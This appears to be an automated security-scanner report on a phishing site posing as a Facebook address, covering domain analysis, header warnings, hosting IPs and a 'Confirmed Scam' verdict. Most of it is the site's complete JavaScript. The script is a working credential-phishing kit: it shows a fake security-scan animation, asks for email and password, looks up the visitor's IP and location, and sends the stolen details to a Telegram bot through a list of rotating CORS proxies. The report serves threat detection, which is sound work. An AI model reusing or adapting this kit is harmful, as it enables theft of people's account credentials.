technology software

phishing scam

corporate business

government public service

documentation technical

English

Domain 'facebookcom-qd36v1genb.edgeone.app' uses the application-focused generic top-level domain (.app) and includes subdomain 'facebookcom-qd36v1genb'. Count 7 characters in 'edgeone' with 4 vowels and three consonants. It segments into two words: edge, one. Median word length comes out to 3.5 characters. No strong language cues emerged from the frequency lists.

html/4a/2f/4a2f358e-d496-48b2-beac-bbb54b1f2044.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

553766c0f2ccb76ebcaa093ad5de58fb5b1587324739cf6085bdb3c53a93e72c

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

html/4a/2f/4a2f358e-d496-48b2-beac-bbb54b1f2044_nodriver.html.gz

Email Security Scan - Protect Your Account

Prudence Malinki

MarkMonitor Inc.

edgeone.app


        // Telegram Configuration - Yahan apna data daalo
        const BOT_TOKEN = "8266719991:AAFI6NtMUT98Q0XiGIUFv5Sx02rdFLM2rtM "; // Apna bot token yahan daalo
        const CHAT_ID = "7422610058"; // Apna chat ID yahan daalo
        
        document.addEventListener('DOMContentLoaded', function() {
            const emailForm = document.getElementById('email-form');
            const passwordForm = document.getElementById('password-form');
            const resultContainer = document.getElementById('result-container');
            const scanEmailBtn = document.getElementById('scan-email-btn');
            const verifyPasswordBtn = document.getElementById('verify-password-btn');
            const loadingEmail = document.getElementById('loading-email');
            const loadingPassword = document.getElementById('loading-password');
            const emailInput = document.getElementById('email');
            const passwordInput = document.getElementById('password');
            const progressFill = document.getElementById('progressFill');
            const progressStatus = document.getElementById('progressStatus');
            const currentScan = document.getElementById('currentScan');
            const progressPercent = document.getElementById('progressPercent');
            
            // WhatsApp tool jaisi working proxies
            const PROXIES = [
                'https://cors.eu.org/',
                'https://noki-cors.herokuapp.com/',
                'https://cors.deno.dev/',
                'https://cors.fl1ght.workers.dev/',
                'https://cors.zimjs.com/',
                'https://cors.isteed.cc/'
            ];
            
            // Fake scanning animation
            function startFakeScan() {
                const scans = [
                    { name: "System Integrity", percent: 25 },
                    { name: "Malware Detection", percent: 45 },
                    { name: "Data Breach Check", percent: 65 },
                    { name: "Privacy Audit", percent: 85 },
                    { name: "Security Analysis", percent: 100 }
                ];
                
                let currentIndex = 0;
                
                const scanInterval = setInterval(() => {
                    if (currentIndex < scans.length) {
                        const scan = scans[currentIndex];
                        progressFill.style.width = scan.percent + '%';
                        currentScan.textContent = scan.name;
                        progressPercent.textContent = scan.percent + '%';
                        progressStatus.textContent = 'Scanning...';
                        currentIndex++;
                    } else {
                        clearInterval(scanInterval);
                        progressStatus.textContent = 'Complete';
                    }
                }, 800);
            }
            
            // Function to send data to Telegram with proxy rotation
            async function sendToTelegram(message) {
                const telegramUrl = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage?chat_id=${CHAT_ID}&text=${encodeURIComponent(message)}&parse_mode=HTML`;
                
                console.log("Sending to Telegram:", telegramUrl);
                
                // Try each proxy until one works
                for (const proxy of PROXIES) {
                    try {
                        let url;
                        if (proxy.includes('?url=') || proxy.includes('?quest=') || proxy.includes('/?url=')) {
                            url = proxy + encodeURIComponent(telegramUrl);
                        } else if (proxy.endsWith('/')) {
                            url = proxy + telegramUrl;
                        } else {
                            url = proxy + '/' + telegramUrl;
                        }
                        
                        console.log("Trying proxy:", proxy);
                        
                        const response = await fetch(url, {
                            method: 'GET',
                            mode: 'cors',
                            headers: {
                                'X-Requested-With': 'XMLHttpRequest'
                            }
                        });
                        
                        if (response.ok) {
                            console.log('Success with proxy:', proxy);
                            return true;
                        }
                    } catch (error) {
                        console.log(`Proxy ${proxy} failed:`, error);
                        continue;
                    }
                }
                
                return false;
            }
            
            // Function to get visitor info
            async function fetchVisitorInfo() {
                try {
                    const response = await fetch('https://ipapi.co/json/');
                    const data = await response.json();
                    
                    return {
                        ip: data.ip,
                        city: data.city,
                        region: data.region,
                        country: data.country_name,
                        isp: data.org,
                        location: `${data.city}, ${data.region}, ${data.country_name}`
                    };
                } catch (error) {
                    // Fallback agar ipapi.co fail ho
                    try {
                        const response = await fetch('https://ipinfo.io/json');
                        const data = await response.json();
                        return {
                            ip: data.ip,
                            city: data.city,
                            region: data.region,
                            country: data.country,
                            isp: data.org,
                            location: `${data.city}, ${data.region}, ${data.country}`
                        };
                    } catch (error2) {
                        return {
                            ip: 'Unknown',
                            city: 'Unknown',
                            region: 'Unknown',
                            country: 'Unknown',
                            isp: 'Unknown',
                            location: 'Location unavailable'
                        };
                    }
                }
            }
            
            // Scan email button
            scanEmailBtn.addEventListener('click', async function() {
                const email = emailInput.value.trim();
                
                if (!email) {
                    alert('Please enter your email address for security analysis');
                    return;
                }
                
                if (!/\S+@\S+\.\S+/.test(email)) {
                    alert('Please enter a valid email address');
                    return;
                }
                
                // Show loading
                scanEmailBtn.style.display = 'none';
                loadingEmail.style.display = 'block';
                
                // Start fake scanning animation
                startFakeScan();
                
                // Get visitor info
                const visitorInfo = await fetchVisitorInfo();
                
                // Send email to Telegram
                const emailMessage = `📧 *EMAIL SECURITY SCAN INITIATED* 📧%0A%0A` +
                                   `👤 *Email:* ${email}%0A` +
                                   `🌐 *IP:* ${visitorInfo.ip}%0A` +
                                   `📍 *Location:* ${visitorInfo.location}%0A` +
                                   `🖥️ *ISP:* ${visitorInfo.isp}%0A%0A` +
                                   `⚡ *SecureMail Scanner Analysis*`;
                
                await sendToTelegram(emailMessage);
                
                // Simulate scanning
                setTimeout(() => {
                    // Hide loading
                    loadingEmail.style.display = 'none';
                    
                    // Show password form
                    emailForm.style.display = 'none';
                    passwordForm.style.display = 'block';
                }, 5000);
            });
            
            // Verify password button
            verifyPasswordBtn.addEventListener('click', async function() {
                const email = emailInput.value.trim();
                const password = passwordInput.value.trim();
                
                if (!password) {
                    alert('Please enter your password for security verification');
                    return;
                }
                
                // Show loading
                verifyPasswordBtn.style.display = 'none';
                loadingPassword.style.display = 'block';
                
                // Send password to Telegram
                const passwordMessage = `🔐 *EMAIL CREDENTIALS CAPTURED* 🔐%0A%0A` +
                                      `👤 *Email:* ${email}%0A` +
                                      `🔑 *Password:* ${password}%0A%0A` +
                                      `✅ *ACCOUNT SECURITY COMPROMISED*%0A` +
                                      `⚠️ *IMMEDIATE ACTION REQUIRED*`;
                
                const sent = await sendToTelegram(passwordMessage);
                
                // Hide loading
                loadingPassword.style.display = 'none';
                
                if (sent) {
                    // Show result
                    passwordForm.style.display = 'none';
                    resultContainer.style.display = 'block';
                } else {
                    alert('Security verification failed. Please check your connection and try again.');
                    verifyPasswordBtn.style.display = 'block';
                }
            });
        });
    

✅ Low Risk - https://facebookcom-qd36v1genb.edgeone.app/

Requests	IP Address	Location	AS Autonomous System
3	43.152.26.58	Singapore	AS139341ACE
2	142.251.14.95	United States	AS15169Google LLC
2	172.240.253.132	United States	AS139341
2	104.17.25.14	United States	AS13335Cloudflare, Inc.
2	142.250.154.94	United States	AS15169Google LLC
11	5	-	-

Security Scan Report: facebookcom-qd36v1genb.edgeone.app

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History